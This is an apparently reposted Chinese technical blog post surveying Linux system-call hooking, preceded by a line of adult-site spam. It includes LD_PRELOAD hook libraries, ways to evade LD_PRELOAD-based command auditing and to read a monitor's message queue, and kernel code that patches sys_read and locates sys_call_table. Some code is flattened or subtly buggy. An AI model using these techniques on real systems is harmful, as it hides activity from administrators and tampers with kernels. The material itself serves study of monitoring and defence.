日韩av黄I国产麻豆传媒I国产91av视频在线观看I日韩一区二区三区在线看I美女国产在线I麻豆视频国产在线观看I成人黄色短片

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 >

Linux系统调用Hook姿势总结

發布時間:2025/3/15 40 豆豆
生活随笔 收集整理的這篇文章主要介紹了 Linux系统调用Hook姿势总结 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

相關學習資料

http://xiaonieblog.com/?post=121 http://hbprotoss.github.io/posts/li-yong-ld_preloadjin-xing-hook.html http://www.catonmat.net/blog/simple-ld-preload-tutorial/ http://os.51cto.com/art/201004/195510.htm http://sebug.net/paper/pst_WebZine/pst_WebZine_0x03/html/%5BPSTZine%200x03%5D%5B0x03%5D%5B%E9%AB%98%E7%BA%A7Linux%20Kernel%20Inline%20Hook%E6%8A%80%E6%9C%AF%E5%88%86%E6%9E%90%E4%B8%8E%E5%AE%9E%E7%8E%B0%5D.html http://blog.chinaunix.net/uid-26310563-id-3175021.html http://laokaddk.blog.51cto.com/368606/d-26/p-2 http://m.blog.csdn.net/blog/panfengyun12345/19480567 https://www.kernel.org/doc/Documentation/kprobes.txt http://blog.chinaunix.net/uid-23769728-id-3198044.html https://sourceware.org/systemtap/ http://alanwu.blog.51cto.com/3652632/1111213 http://laokaddk.blog.51cto.com/368606/421862 http://baike.baidu.com/view/336501.htm http://blog.csdn.net/dog250/article/details/6451762 http://blog.csdn.net/sanbailiushiliuye/article/details/7552359

?

目錄

1. 系統調用Hook簡介 2. Ring3中Hook技術0x1: LD_PRELOAD動態連接.so函數劫持0x2: 使用snoopy進行execve/execv、connect、init_module hook 0x3: 繞過基于Linux消息隊列(Message Queue)通信的Hook模塊0x4: 基于PD_PRELOAD、LD_LIBRARY_PATH環境變量劫持繞過Hook模塊0x5: 基于ptrace()調試技術進行API Hook0x6: 繞過C庫LD_PRELOAD機制的技術方案0x7: 基于PLT劫持、PLT重定向技術實現Hook 3. Ring0中Hook技術0x1: Kernel Inline Hook 0x2: 利用0x80中斷劫持system_call->sys_call_table進行系統調用Hook0x3: 獲取sys_call_table的常用方法0x4: 利用Linux內核機制kprobe機制(kprobes, jprobe和kretprobe)進行系統調用Hook0x5: LSM(linux security module) Security鉤子技術(linux原生機制)0x6: LSM Function Replace Hook劫持技術0x7: int 80中斷劫持技術0x8: 利用從PAGE_OFFSET起始位置搜索特征碼劫持system_call_sys_call_table進行系統調用hook0x9: Linux LSM(Linux Security Modules) Hook技術 4. 后記

?

1. 系統調用Hook簡介

系統調用屬于一種軟中斷機制(內中斷陷阱),它有操作系統提供的功能入口(sys_call)以及CPU提供的硬件支持(int 3 trap)共同完成。

我們必須要明白,Hook技術是一個相對較寬的話題,因為操作系統從ring3到ring0是分層次的結構,在每一個層次上都可以進行相應的Hook,它們使用的技術方法以及取得的效果也是不盡相同的。本文的主題是"系統調用的Hook學習","系統調用的Hook"是我們的目的,而要實現這個目的可以有很多方法,本文試圖盡量覆蓋從ring3到ring0中所涉及到的Hook技術,來實現系統調用的監控功能。

?

2. Ring3中Hook技術

0x1: LD_PRELOAD動態連接.so函數劫持

在linux操作系統的動態鏈接庫的世界中,LD_PRELOAD就是這樣一個環境變量,它可以影響程序的運行時的鏈接(Runtime linker),它允許你定義在程序運行前"優先加載"的動態鏈接庫。loader在進行動態鏈接的時候,會優先處理LD_PRELOAD(或者LD_PRELOAD配置文件)中指定的路徑對應的.so文件,即

1. 先加載LD_PRELOAD(或者LD_PRELOAD配置文件)中指定的路徑對應的.so文件 2. 再加載原始程序需要引入的外部動態共享庫(.so文件)

我們只要在通過LD_PRELOAD加載的.so中編寫我們需要hook的同名函數,根據Linux對外部動態共享庫的符號引入全局符號表的處理,后引入的符號會被省略,即系統原始的.so(/lib64/libc.so.6)中的符號會省略

通過strace program也可以看到,Linux是優先加載LD_PRELOAD指明的.so,然后再加載系統默認的.so的

Linux動態鏈接器ld.so按照下面的順序來搜索需要的動態共享庫

關于Linux動態鏈接器的相關知識,請參閱另一篇文章

http://www.cnblogs.com/LittleHann/p/4244863.html //搜索:0x1: 共享庫的查找過程

正常程序main.c:

#include <stdio.h> #include <string.h>int main(int argc, char *argv[]) {if( strcmp(argv[1], "test") ){printf("Incorrect password\n");}else{printf("Correct password\n");}return 0; }

用于劫持函數的.so代碼hook.c

#include <stdio.h> #include <string.h> #include <dlfcn.h> /* hook的目標是strcmp,所以typedef了一個STRCMP函數指針 hook的目的是要控制函數行為,從原庫libc.so.6中拿到strcmp指針,保存成old_strcmp以備調用 */ typedef int(*STRCMP)(const char*, const char*);int strcmp(const char *s1, const char *s2) {static void *handle = NULL;static STRCMP old_strcmp = NULL;if( !handle ){handle = dlopen("libc.so.6", RTLD_LAZY);old_strcmp = (STRCMP)dlsym(handle, "strcmp");}printf("oops!!! hack function invoked. s1=<%s> s2=<%s>\n", s1, s2);return old_strcmp(s1, s2); }

編譯:

gcc -o test main.c gcc -fPIC -shared -o hook.so hook.c -ldl

運行:

LD_PRELOAD=./hook.so ./test 123

0x2: 使用snoopy進行execve/execv、connect、init_module hook

Snoopy development has been migrated to github. Please follow the link "Snoopy Logger Web Site" below. Snoopy is designed to aid a sysadmin by providing a log of commands executed. Snoopy is completely transparent to the user and applications. It is linked into programs to provide a wrapper around calls to execve(). Logging is done via syslog.

在編寫用于function hook的.so文件的時候,要考慮以下幾個因素

1. Hook函數的覆蓋完備性 對于Linux下的指令執行來說,有7個Glibc API都可是實現指令執行功能,對這些API對要進行Hook /* #include <unistd.h> int execl(const char *pathname, const char *arg0, ... /* (char *)0 */ ); int execv(const char *pathname, char *const argv[]); int execle(const char *pathname, const char *arg0, .../* (char *)0, char *const envp[] */ ); int execve(const char *pathname, char *const argv[], char *const envp[]); int execlp(const char *filename, const char *arg0, ... /* (char *)0 */ ); int execvp(const char *filename, char *const argv[]); int fexecve(int fd, char *const argv[], char *const envp[]); http://www.2cto.com/os/201410/342362.html */2. 當前系統中存在function hook的重名覆蓋問題1) /etc/ld.so.preload中填寫了多條.so加載條目2) 其他程序通過"export LD_PRELOAD=.."臨時指定了待加載so的路徑 在很多情況下,出于系統管理或者集群系統日志收集的目的,運維人員會向系統中注入.so文件,對特定function函數進行hook,這個時候,當我們注入的.so文件中的hook function和原有的hook function存在同名的情況,Linux會自動忽略之后載入了hook function,這種情況我們稱之為"共享對象全局符號介入"3. 注入.so對特定function函數進行hook要保持原始業務的兼容性 典型的hook的做法應該是 hook_function() {save ori_function_address;/*do something in herespan some time delay*/call ori_function; } hook函數在執行完自己的邏輯后,應該要及時調用被hook前的"原始函數",保持對原有業務邏輯的透明4. 盡量減小hook函數對原有調用邏輯的延時 hook_function() {save ori_function_address;/*do something in herespan some time delay*/call ori_function; } hook這個操作是一定會對原有的代碼調用執行邏輯產生延時的,我們需要盡量減少從函數入口到"call ori_function"這塊的代碼邏輯,讓代碼邏輯盡可能早的去"call ori_function" 在一些極端特殊的場景下,存在對單次API調用延時極其嚴格的情況,如果延時過長可能會導致原始業務邏輯代碼執行失敗

如果需要不僅僅是替換掉原有庫函數,而且還希望最終將函數邏輯傳遞到原有系統函數,實現透明hook(完成業務邏輯的同時不影響正常的系統行為)、維持調用鏈,那么需要用到RTLD_NEXT

當調用dlsym的時候傳入RTLD_NEXT參數,gcc的共享庫加載器會按照"裝載順序(load order)(即先來后到的順序)"獲取"下一個共享庫"中的符號地址 /* Specifies the next object after this one that defines name. This one refers to the object containing the invocation of dlsym(). The next object is the one found upon the application of a load order symbol resolution algorithm (see dlopen()). The next object is either one of global scope (because it was introduced as part of the original process image or because it was added with a dlopen() operation including the RTLD_GLOBAL flag), or is an object that was included in the same dlopen() operation that loaded this one. The RTLD_NEXT flag is useful to navigate an intentionally created hierarchy of multiply-defined symbols created through interposition. For example, if a program wished to create an implementation of malloc() that embedded some statistics gathering about memory allocations, such an implementation could use the real malloc() definition to perform the memory allocation-and itself only embed the necessary logic to implement the statistics gathering function. http://pubs.opengroup.org/onlinepubs/009695399/functions/dlsym.html http://www.newsmth.net/nForum/#!article/KernelTech/413 */

code example

// used for getting the orginal exported function address #if defined(RTLD_NEXT) # define REAL_LIBC RTLD_NEXT #else # define REAL_LIBC ((void *) -1L) #endif//REAL_LIBC代表當前調用鏈中緊接著下一個共享庫,從調用方鏈接映射列表中的下一個關聯目標文件獲取符號 #define FN(ptr,type,name,args) ptr = (type (*)args)dlsym (REAL_LIBC, name)... FN(func,int,"execve",(const char *, char **const, char **const));

我們知道,如果當前進程空間中已經存在某個同名的符號,則后載入的so的同名函數符號會被忽略,但是不影響so的載入,先后載入的so會形成一個鏈式的依賴關系,通過RTLD_NEXT可以遍歷這個鏈

1. SO代碼編寫

1. 指令執行1) execve2) execv 2. 網絡連接1) connect 3. LKM模塊加載1) init_module

hook.c

#include <stdio.h> #include <string.h> #include <dlfcn.h>#include <stdlib.h> #include <sys/types.h> #include <string.h> #include <unistd.h> #include <limits.h>#include <netinet/in.h> #include <linux/ip.h> #include <linux/tcp.h>#if defined(RTLD_NEXT) # define REAL_LIBC RTLD_NEXT #else # define REAL_LIBC ((void *) -1L) #endif#define FN(ptr, type, name, args) ptr = (type (*)args)dlsym (REAL_LIBC, name)int execve(const char *filename, char *const argv[], char *const envp[]) {static int (*func)(const char *, char **, char **);FN(func,int,"execve",(const char *, char **const, char **const)); //print the logprintf("filename: %s, argv[0]: %s, envp:%s\n", filename, argv[0], envp);return (*func) (filename, (char**) argv, (char **) envp); } int execv(const char *filename, char *const argv[]) {static int (*func)(const char *, char **);FN(func,int,"execv", (const char *, char **const)); //print the logprintf("filename: %s, argv[0]: %s\n", filename, argv[0]);return (*func) (filename, (char **) argv); } int connect(int sockfd, const struct sockaddr *addr, socklen_t addrlen) { static int (*func)(int, const struct sockaddr *, socklen_t);FN(func,int,"connect", (int, const struct sockaddr *, socklen_t)); /*print the log獲取、打印參數信息的時候需要注意1. 加鎖2. 拷貝到本地棧區變量中3. 然后再打印調試的時候發現直接獲取打印會導致core dump*/printf("socket connect hooked!!\n");//return (*func) (sockfd, (const struct sockaddr *) addr, (socklen_t)addrlen);return (*func) (sockfd, addr, addrlen); } int init_module(void *module_image, unsigned long len, const char *param_values) { static int (*func)(void *, unsigned long, const char *);FN(func,int,"init_module",(void *, unsigned long, const char *)); /*print the loglkm的加載不需要取參數,只需要捕獲事件本身即可*/printf("lkm load hooked!!\n");return (*func) ((void *)module_image, (unsigned long)len, (const char *)param_values); }

2. 編譯,并裝載

//編譯出一個so文件 gcc -fPIC -shared -o hook.so hook.c -ldl

添加LD_PRELOAD有很多種方式

1. 臨時一次性添加(當條指令有效) LD_PRELOAD=./hook.so nc www.baidu.com 80 /* LD_PRELOAD后面接的是具體的庫文件全路徑,可以連接多個路徑 程序加載時,LD_PRELOAD加載路徑優先級高于/etc/ld.so.preload */2. 添加到環境變量LD_PRELOAD中(當前會話SESSION有效) export LD_PRELOAD=/zhenghan/snoopylog/hook.so //"/zhenghan/snoopylog/"是編譯.so文件的目錄 unset LD_PRELOAD3. 添加到環境變量LD_LIBRARY_PATH中 假如現在需要在已有的環境變量上添加新的路徑名,則采用如下方式 LD_LIBRARY_PATH=/zhenghan/snoopylog/hook.so:$LD_LIBRARY_PATH.(newdirs是新的路徑串) /* LD_LIBRARY_PATH指定查找路徑,這個路徑優先級別高于系統預設的路徑 */4. 添加到系統配置文件中 vim /etc/ld.so.preload add /zhenghan/snoopylog/hook.so5. 添加到配置文件目錄中 cat /etc/ld.so.conf //include ld.so.conf.d/*.conf

3. 效果測試

1. 指令執行 在代碼中手動調用: execve(argv[1], newargv, newenviron);2. 網絡連接 執行: nc www.baidu.com 803. LKM模塊加載 編寫測試LKM模塊,執行: insmod hello.ko

在真實的環境中,socket的網絡連接存在大量的連接失敗,非阻塞等待等等情況,這些都會觸發connect的hook調用,對于connect的hook來說,我們需要對以下的事情進行過濾

1. 區分IPv4、IPv6 根據connect參數中的(struct sockaddr *addr)->sa_family進行判斷2. 區分執行成功、執行失敗 如果本次connect調用執行失敗,則不應該繼續進行參數獲取 int ret_code = (*func) (sockfd, addr, addrlen); int tmp_errno = errno; if (ret_code == -1 && tmp_errno != EINPROGRESS) {return ret_code; }3. 區分TCP、UDP連接 對于TCP和UDP來說,它們都可以發起connect請求,我們需要從中過濾出TCP Connect請求 #include <sys/types.h> #include <sys/socket.h>int getsockopt(int sock, int level, int optname, void *optval, socklen_t *optlen); int setsockopt(int sock, int level, int optname, const void *optval, socklen_t optlen); /* #include <sys/types.h> #include <sys/socket.h> main() {int s;int optval;int optlen = sizeof(int);if((s = socket(AF_INET, SOCK_STREAM, 0)) < 0)perror("socket");getsockopt(s, SOL_SOCKET, SO_TYPE, &optval, &optlen);printf("optval = %d\n", optval);close(s); } */ 執行: optval = 1 //SOCK_STREAM 的定義正是此值

Relevant Link:

http://m.blog.csdn.net/blog/cdhql/42081029 http://blog.csdn.net/xioahw/article/details/4056514 http://c.biancheng.net/cpp/html/357.html http://m.blog.csdn.net/blog/cdhql/42081029

1. 指令執行

execve.c

#include <stdio.h> #include <stdlib.h> #include <unistd.h>int main(int argc, char *argv[]) {char *newargv[] = { NULL, "hello", "world", NULL };char *newenviron[] = { NULL };if (argc != 2) {fprintf(stderr, "Usage: %s <file-to-exec>\n", argv[0]);exit(EXIT_FAILURE);}newargv[0] = argv[1];execve(argv[1], newargv, newenviron);perror("execve"); /* execve() only returns on error */exit(EXIT_FAILURE); } //gcc -o execve execve.c

myecho.c

#include <stdio.h> #include <stdlib.h>int main(int argc, char *argv[]) {int j;for (j = 0; j < argc; j++)printf("argv[%d]: %s\n", j, argv[j]);exit(EXIT_SUCCESS); } //gcc -o myecho myecho.c

可以看到,LD_PRELOAD在所有程序代碼庫加載前優先加載,對glibc中的導出函數進行了hook

2. 網絡連接

nc www.baidu.com 80

3. 模塊加載

hello.c

#include <linux/module.h> // included for all kernel modules #include <linux/kernel.h> // included for KERN_INFO #include <linux/init.h> // included for __init and __exit macros #include <linux/cred.h> #include <linux/sched.h>static int __init hello_init(void) { struct cred *currentCred;currentCred = current->cred; printk(KERN_INFO "uid = %d\n", currentCred->uid);printk(KERN_INFO "gid = %d\n", currentCred->gid);printk(KERN_INFO "suid = %d\n", currentCred->suid);printk(KERN_INFO "sgid = %d\n", currentCred->sgid);printk(KERN_INFO "euid = %d\n", currentCred->euid);printk(KERN_INFO "egid = %d\n", currentCred->egid); printk(KERN_INFO "Hello world!\n"); return 0; // Non-zero return means that the module couldn't be loaded. }static void __exit hello_cleanup(void) {printk(KERN_INFO "Cleaning up module.\n"); }module_init(hello_init); module_exit(hello_cleanup);

Makefile

obj-m := hello.o KDIR := /lib/modules/$(shell uname -r)/build PWD := $(shell pwd)all:$(MAKE) -C $(KDIR) M=$(PWD) modulesclean:$(MAKE) -C $(KDIR) M=$(PWD) clean

加載模塊:insmod hello.ko

Relevant Link:

http://sourceforge.net/projects/snoopylogger/
http://coolex.info/blog/tag/snoopy

0x3: 繞過基于Linux消息隊列(Message Queue)通信的Hook模塊

消息隊列提供了一種在兩個不相關的進程之間傳遞數據的相當簡單且有效的方法,但是對于消息隊列的使用,很容易產生幾點安全風險

1. 在創建消息隊列的時候對message queue的權限控制沒有嚴格控制,讓任意非root用戶也可以從消息隊列中讀取消息 2. 在用戶態標識消息隊列的MSGID很容易通過"ipcs"指令得到,從而攻擊者可以獲取到和Hook模塊相同的消息隊列,從中讀取消息 3. Linux下的消息隊列是內核態維護的一個消息隊列,每個消息只能被"取出"一次 4. 當系統中存在多個進程同時在從同一個消息隊列中"消費"消息的時候,對消息隊列中消息的獲取的順序是一個"競態條件",誰先獲取到消息取決進程的內核調度優先級、以及接收進程自身的接收邏輯,為了提高"競態條件""獲勝率",可以使用nice(-20);提高進程的靜態優先級,從而間接影響到內核調度優先級

code

#include <stdio.h> #include <stdlib.h> #include <string.h> #include <errno.h> #include <unistd.h> #include <sys/types.h> #include <sys/ipc.h> #include <sys/stat.h> #include <sys/msg.h>#define MSG_FILE "/etc/fstab"#define BUF_SZ_63 63 #define BUF_SZ_255 255 #define BUF_SZ_511 511 #define BUF_SZ_1023 1023 #define BUF_SZ_10_KB 10239#define OPERATION_PERMISSION 0666#define MAGIC_NUMBER_1 (~0xDEADBEEF) #define MAGIC_NUMBER_2 (~0xABABABAB)#define AGX_SO_VER 7#define GET_MSG_PROT(x) ((unsigned int)( (x & 0xFFFF0000) >> 16 )) #define GET_MSG_TYPE(x) ((unsigned int)( x & 0x0000FFFF) )struct syscall_event {long msg_category;char msg_body[BUF_SZ_10_KB+1]; };int main() {int msg_id;int newpri; if((msg_id = msgget((key_t)MAGIC_NUMBER_1+AGX_SO_VER, OPERATION_PERMISSION|IPC_CREAT|IPC_EXCL)) == -1){if (EEXIST == errno){printf("msqg already exist: %d\n", errno);if ((msg_id = msgget((key_t)MAGIC_NUMBER_1+AGX_SO_VER, OPERATION_PERMISSION|IPC_CREAT)) == -1){printf("Unhandled error: %d\n", errno);exit(1);}}else{printf("Unhandled error: %d\n", errno);exit(1);}}//調整用戶態的nice值。即內核態的靜態優先級newpri = nice(-20);printf("New priority = %d\n", newpri);while(1){struct syscall_event msg = {0, {0}}; size_t count = msgrcv(msg_id, &msg, BUF_SZ_10_KB, 0, MSG_NOERROR);if (count == -1){// error handlingbreak;}printf("Server Receive: %lx, %lx\n%s\n", GET_MSG_PROT(msg.msg_category), GET_MSG_TYPE(msg.msg_category), msg.msg_body);}struct msqid_ds buf;int ret = msgctl(msg_id, IPC_RMID, &buf);if (ret == -1){printf("rm msgq failed: %d\n", errno);}exit(0); }

0x4: 基于PD_PRELOAD、LD_LIBRARY_PATH環境變量劫持繞過Hook模塊

我們知道,snoopy監控服務器上的指令執行,是通過修改系統的共享庫預加載配置文件(/etc/ld.so.preload)實現,但是這種方式存在一個被黑客繞過的可能

\glibc-2.18\elf\rtld.c
_dl_main

LD_PRELOAD的加載順序優先于/etc/ld.so.preload的配置項,黑客可以利用這點來強制覆蓋共享庫的加載順序

1. 強制指定LD_PRELOAD的環境變量 export LD_PRELOAD=/lib64/libc.so.6 bash /* 新啟動的bash終端默認會使用LD_PRELOAD的共享庫路徑 */2. LD_PRELOAD="/lib64/libc.so.6" bash /* 重新開啟一個加載了默認libc.so.6共享庫的bash session 因為對于libc.so.6來說,它沒有使用dlsym去動態獲取API Function調用鏈條的RTL_NEXT函數,即調用鏈是斷開的 */

在這個新的Bash下執行的指令,因為都不會調用到snoopy的hook函數,所以也不會被記錄下來

Relevant Link:

http://coolex.info/blog/445.html

0x5: 基于ptrace()調試技術進行API Hook

在Linux下,除了使用LD_PRELOAD這種被動Glibc API注入方式,還可以使用基于調試器(Debuger)思想的ptrace()主動注入方式,總體思路如下

1. 使用Linux Module、或者LSM掛載點對進程的啟動動作進行實時的監控,并通過Ring0-Ring3通信,通知到Ring3程序有新進程啟動的動作 2. 用ptrace函數attach上目標進程 3. 讓目標進程的執行流程跳轉到mmap函數來分配一小段內存空間 4. 把一段機器碼拷貝到目標進程中剛分配的內存中去 5. 最后讓目標進程的執行流程跳轉到注入的代碼執行

Relevant Link:

http://blog.sina.com.cn/s/blog_dae890d10101f00d.html https://code.google.com/p/linux-hook-api/source/browse/trunk/injector_api_x86/ptrace.cc?r=30 http://www.cnblogs.com/guaiguai/archive/2010/06/11/1756427.html

0x6: 繞過C庫LD_PRELOAD機制的技術方案

除了0x4提到的LD_PRELOAD環境變量劫持的方法,/etc/ld.so.preload被繞過的方法還有很多

1. 通過靜態鏈接方式編譯so模塊 gcc -o test test.c -static 在靜態鏈接的模式下,程序不會去搜索系統中的so文件(不同是系統默認的、還是第三方加入的),所以也就不會調用到Hook SO模塊中2. 使用內嵌匯編的形式直接通過syscall指令使用系統調用功能,同樣也不會調用到Glibc提供的API asm("movq $2, %%rax\n\t syscal:"=a"(ret));

Relevant Link:

http://blog.cloud-sec.org/uncategorized/%E7%BB%95%E8%BF%87c%E5%BA%93ld_preload%E6%9C%BA%E5%88%B6%E7%9A%84%E5%87%A0%E7%A7%8D%E6%96%B9%E6%B3%95/

0x7: 基于PLT劫持、PLT重定向技術實現Hook

http://www.cnblogs.com/LittleHann/p/4594641.html

?

3. Ring0中Hook技術

0x1: Kernel Inline Hook

傳統的kernel inline hook技術就是修改內核函數的opcode,通過寫入jmp或push ret等指令跳轉到新的內核函數中,從何達到劫持的目的

對于這類劫持攻擊,目前常見的做法是fireeye的"函數返回地址污點檢測",通過對原有指令返回位置的匯編代碼作污點標記,通過查找jmp,push ret等指令來進行防御

我們知道實現一個系統調用的函數中一定會遞歸的嵌套有很多的子函數,即它必定要調用它的下層函數。
而從匯編的角度來說,對一個子函數的調用是采用"段內相對短跳轉 jmp offset"來實現的,即CPU根據offset來進行一個偏移量的跳轉。
如果我們把下層函數在上層函數中的offset替換成我們"Hook函數"的offset,這樣上層函數調用下層函數時,就會跳到我們的"Hook函數"中,我們就可以在"Hook函數"中做過濾和劫持內容的工作

以sys_read作為例子

\linux-2.6.32.63\fs\read_write.c

asmlinkage ssize_t sys_read(unsigned int fd, char __user * buf, size_t count) {struct file *file;ssize_t ret = -EBADF;int fput_needed;file = fget_light(fd, &fput_needed);if (file) {loff_t pos = file_pos_read(file);ret = vfs_read(file, buf, count, &pos);file_pos_write(file, pos);fput_light(file, fput_needed);}return ret; } EXPORT_SYMBOL_GPL(sys_read);

在sys_read()中,調用了子函數vfs_read()來完成讀取數據的操作,在sys_read()中調用子函數vfs_read()的匯編命令是:?
call 0xc106d75c <vfs_read>
等同于:
jmp offset(相對于sys_read()的基址偏移)
所以,我們的思路很明確,找到call?? 0xc106d75c <vfs_read>這條匯編,把其中的offset改成我們的Hook函數對應的offset,就可以實現劫持目的了

1. 搜索sys_read的opcode 2. 如果發現是call指令,根據call后面的offset計算要跳轉的地址是不是我們要hook的函數地址1) 如果"不是"就重新計算Hook函數的offset,用Hook函數的offset替換原來的offset2) 如果"已經是"Hook函數的offset,則說明函數已經處于被劫持狀態了,我們的Hook引擎應該直接忽略跳過,避免重復劫持

poc:

/* 參數: 1. handler是上層函數的地址,這里就是sys_read的地址 2. old_func是要替換的函數地址,這里就是vfs_read 3. new_func是新函數的地址,這里就是new_vfs_read的地址 */ unsigned int patch_kernel_func(unsigned int handler, unsigned int old_func, unsigned int new_func) {unsigned char *p = (unsigned char *)handler;unsigned char buf[4] = "\x00\x00\x00\x00";unsigned int offset = 0;unsigned int orig = 0;int i = 0;DbgPrint("\n*** hook engine: start patch func at: 0x%08x\n", old_func);while (1) {if (i > 512)return 0;if (p[0] == 0xe8) {DbgPrint("*** hook engine: found opcode 0x%02x\n", p[0]);DbgPrint("*** hook engine: call addr: 0x%08x\n", (unsigned int)p);buf[0] = p[1];buf[1] = p[2];buf[2] = p[3];buf[3] = p[4];DbgPrint("*** hook engine: 0x%02x 0x%02x 0x%02x 0x%02x\n", p[1], p[2], p[3], p[4]);offset = *(unsigned int *)buf;DbgPrint("*** hook engine: offset: 0x%08x\n", offset);orig = offset + (unsigned int)p + 5;DbgPrint("*** hook engine: original func: 0x%08x\n", orig);if (orig == old_func) {DbgPrint("*** hook engine: found old func at"" 0x%08x\n", old_func);DbgPrint("%d\n", i);break;}}p++;i++;}offset = new_func - (unsigned int)p - 5;DbgPrint("*** hook engine: new func offset: 0x%08x\n", offset);p[1] = (offset & 0x000000ff);p[2] = (offset & 0x0000ff00) >> 8;p[3] = (offset & 0x00ff0000) >> 16;p[4] = (offset & 0xff000000) >> 24;DbgPrint("*** hook engine: pachted new func offset.\n");return orig; }

0x2: 利用0x80中斷劫持system_call->sys_call_table進行系統調用Hook

我們知道,要對系統調用(sys_call_table)進行替換,卻必須要獲取該地址后才可以進行替換。但是Linux 2.6版的內核出于安全的考慮沒有將系統調用列表基地址的符號sys_call_table導出,但是我們可以采取一些hacking的方式進行獲取。
因為系統調用都是通過0x80中斷來進行的,故可以通過查找0x80中斷的處理程序來獲得sys_call_table的地址。其基本步驟是

1. 獲取中斷描述符表(IDT)的地址(使用C ASM匯編) 2. 從中查找0x80中斷(系統調用中斷)的服務例程(8*0x80偏移) 3. 搜索該例程的內存空間, 4. 從其中獲取sys_call_table(保存所有系統調用例程的入口地址)的地址

編程示例

find_sys_call_table.c

#include <linux/module.h> #include <linux/kernel.h>// 中斷描述符表寄存器結構 struct {unsigned short limit;unsigned int base; } __attribute__((packed)) idtr;// 中斷描述符表結構 struct {unsigned short off1;unsigned short sel;unsigned char none, flags;unsigned short off2; } __attribute__((packed)) idt;// 查找sys_call_table的地址 void disp_sys_call_table(void) {unsigned int sys_call_off;unsigned int sys_call_table;char* p;int i;// 獲取中斷描述符表寄存器的地址asm("sidt %0":"=m"(idtr));printk("addr of idtr: %x\n", &idtr);// 獲取0x80中斷處理程序的地址memcpy(&idt, idtr.base+8*0x80, sizeof(idt));sys_call_off=((idt.off2<<16)|idt.off1);printk("addr of idt 0x80: %x\n", sys_call_off);// 從0x80中斷服務例程中搜索sys_call_table的地址p=sys_call_off;for (i=0; i<100; i++){if (p=='\xff' && p[i+1]=='\x14' && p[i+2]=='\x85'){sys_call_table=*(unsigned int*)(p+i+3);printk("addr of sys_call_table: %x\n", sys_call_table);return ;}} }// 模塊載入時被調用 static int __init init_get_sys_call_table(void) {disp_sys_call_table();return 0; }module_init(init_get_sys_call_table);// 模塊卸載時被調用 static void __exit exit_get_sys_call_table(void) { }module_exit(exit_get_sys_call_table);// 模塊信息 MODULE_LICENSE("GPL2.0"); MODULE_AUTHOR("LittleHann");

Makefile

obj-m := find_sys_call_table.o

編譯

make -C /usr/src/kernels/2.6.32-358.el6.i686 M=$(pwd) modules

測試效果

dmesg| tail

獲取到了sys_call_table的基地址之后,我們就可以修改指定offset對應的系統調用了,從而達到劫持系統調用的目的

Relevant Link:

http://www.elliotbradbury.com/linux-syscall-hooking-interrupt-descriptor-table/

0x3: 獲取sys_call_table的常用方法

1. 通過dump獲取絕對地址

模擬出一個call *sys_call_table(,%eax,4),然后看其機器碼,然后在system_call的附近基于這個特征進行尋找?

#include <stdio.h> void fun1() {printf("fun1/n"); } void fun2() {printf("fun2/n"); } unsigned int sys_call_table[2] = {fun1, fun2}; int main(int argc, char **argv) {asm("call *sys_call_table(%eax,4"); }編譯 gcc test.c -o testobjdump進行dump objdump -D ./test | grep sys_call_table

2. 通過/boot/System.map-2.6.32-358.el6.i686文件查找

cd /boot grep sys_call_table System.map-2.6.32-358.el6.i686

3. 通過讀取/dev/kmem虛擬內存全鏡像設備文件獲得sys_call_table地址

Linux下/dev/mem和/dev/kmem的區別:

1. /dev/mem: 物理內存的全鏡像??梢杂脕碓L問物理內存。比如:1) X用來訪問顯卡的物理內存,2) 嵌入式中訪問GPIO。用法一般就是open,然后mmap,接著可以使用map之后的地址來訪問物理內存。這其實就是實現用戶空間驅動的一種方法。2. /dev/kmem: kernel看到的虛擬內存的全鏡像。可以用來:1) 訪問kernel的內容,查看kernel的變量,2) 用作rootkit之類的

code

#include <stdio.h> #include <sys/types.h> #include <fcntl.h> #include <stdlib.h>int kfd; struct {unsigned short limit;unsigned int base; } __attribute__ ((packed)) idtr;struct {unsigned short off1;unsigned short sel;unsigned char none, flags;unsigned short off2; } __attribute__ ((packed)) idt;int readkmem (unsigned char *mem, unsigned off, int bytes) {if (lseek64 (kfd, (unsigned long long) off, SEEK_SET) != off){return -1;} if (read (kfd, mem, bytes) != bytes) {return -1;} }int main (void) {unsigned long sct_off;unsigned long sct;unsigned char *p, code[255];int i; /* request IDT and fill struct */ asm ("sidt %0":"=m" (idtr));if ((kfd = open ("/dev/kmem", O_RDONLY)) == -1){perror("open");exit(-1);} if (readkmem ((unsigned char *)&idt, idtr.base + 8 * 0x80, sizeof (idt)) == -1){printf("Failed to read from /dev/kmem\n");exit(-1);} sct_off = (idt.off2 << 16) | idt.off1; if (readkmem (code, sct_off, 0x100) == -1){printf("Failed to read from /dev/kmem\n");exit(-1);}/* find the code sequence that calls SCT */ sct = 0;for (i = 0; i < 255; i++){if (code[i] == 0xff && code[i+1] == 0x14 && code[i+2] == 0x85) {sct = code[i+3] + (code[i+4] << 8) + (code[i+5] << 16) + (code[i+6] << 24);}}if (sct){printf ("sys_call_table: 0x%x\n", sct);}close (kfd); }

4. 通過函數特征碼循環搜索獲取sys_call_table地址 (64 bit)

unsigned long **find_sys_call_table() { unsigned long ptr;unsigned long *p;for (ptr = (unsigned long)sys_close; ptr < (unsigned long)&loops_per_jiffy; ptr += sizeof(void *)) { p = (unsigned long *)ptr;if (p[__NR_close] == (unsigned long)sys_close) {printk(KERN_DEBUG "Found the sys_call_table!!!\n");return (unsigned long **)p;}}return NULL; }

要特別注意的是代碼中進行函數地址搜索的代碼:if (p[__NR_close] == (unsigned long)sys_close)

在64bit Linux下,函數的地址是8字節的,所以要使用unsigned long

我們可以在linux下執行以下兩條指令

grep sys_close System.map-2.6.32-358.el6.i686 grep loops_per_jiffy System.map-2.6.32-358.el6.i686

可以看到,系統調用表sys_call_table中的函數地址都落在這個地址區間中,因此我們可以使用loop搜索的方法去獲取sys_call_table的基地址

5. 通過kprobe方式動態獲取kallsyms_lookup_name,然后利用kallsyms_lookup_name獲取sys_call_table的地址

通過kprobe的函數hook掛鉤機制,可以獲取內核中任意函數的入口地址,我們可以先獲取"kallsyms_lookup_name"函數的入口地址

